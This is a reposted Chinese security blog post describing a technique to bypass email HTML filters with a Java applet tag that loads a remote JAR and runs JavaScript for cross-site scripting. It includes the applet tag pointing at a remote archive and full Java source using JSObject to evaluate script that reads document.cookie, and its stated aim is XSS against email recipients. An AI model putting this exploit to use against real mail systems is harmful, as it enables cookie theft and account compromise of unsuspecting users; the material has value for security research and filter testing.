APPLET AND XSS THE MAIL 's

admin 2017年4月19日17:56:18评论301 views字数 1846阅读6分9秒阅读模式
摘要

AUTHOR : KJ021320
TEAM : I.S.T.O
BLOG : blog.csdn.net/kj021320在APPLET中其实可以运行JAVASCRIPT 而 JS中又可以获取COOKIE,添加IFRAME等
然而我们就可以采用这样的方式绕过某些过滤器去XSS EMAIL了!
晚饭的时候跟 刺他们讨论了一下~~偶感觉局限性很大 所以扔出来 抛砖引玉看看有没有人可以有更好的利用方式
1。首先EMAIL语法分析器不过滤 <applet 标签
2。被攻击者有安装JRE 能运行APPLET
似乎有点难! -_- 像HOTMAIL YAHOO GMAIL那些都过滤了APPLET

AUTHOR : KJ021320
TEAM : I.S.T.O
BLOG : blog.csdn.net/kj021320

在APPLET中其实可以运行JAVASCRIPT 而 JS中又可以获取COOKIE,添加IFRAME等
然而我们就可以采用这样的方式绕过某些过滤器去XSS EMAIL了!
晚饭的时候跟 刺他们讨论了一下~~偶感觉局限性很大 所以扔出来 抛砖引玉看看有没有人可以有更好的利用方式
1。首先EMAIL语法分析器不过滤 <applet 标签
2。被攻击者有安装JRE 能运行APPLET
似乎有点难! -_- 像HOTMAIL YAHOO GMAIL那些都过滤了APPLET

现在开始我们的方案

首先是 applet标签
<applet code="cn.isto.XSSJApplet" width=350 height=200 codebase="" archive="JavaAppletXss.jar" name="xss"></applet>
一般是这样的!
archive的位置是加载的JAR 这里幸好可以调用远程的连接
也就是这样可以实现
<applet code="cn.isto.XSSJApplet" width=350 height=200 codebase="" archive="http://istoweb/JavaAppletXss.jar" name="xss"></applet>

OK 现在来构造我们的XSSJApplet 类

/*
* XSSJApplet.java
* Created on 2007年12月4日, 下午3:40
*/
package cn.isto;
import java.applet.AppletContext;
import java.io.OutputStream;
import java.net.*;
import netscape.javascript.*;
/**
* @author kj021320
*/
public class XSSJApplet extends javax.swing.JApplet {

/** Initializes the applet XSSJApplet */
public void init() {
URL attackUrl;
AppletContext at;
URLConnection uc;
try {
initComponents();
//调用JSObject 对象来直接执行 JS代码
JSObject.getWindow(this).eval("alert(document.cookie)");
} catch (Exception ex) {
ex.printStackTrace();
}
}
private void initComponents() {
jLabelTitle = new javax.swing.JLabel();
jLabelTitle.setText("kj021320[I.S.T.O] XSS APPLET");
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addComponent(jLabelTitle, javax.swing.GroupLayout.PREFERRED_SIZE, 180, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(29, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(26, 26, 26)
.addComponent(jLabelTitle)
.addContainerGap(111, Short.MAX_VALUE))
);
}
private javax.swing.JLabel jLabelTitle;
}

全文完

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月19日17:56:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APPLET AND XSS THE MAIL 'shttp://cn-sec.com/archives/46937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息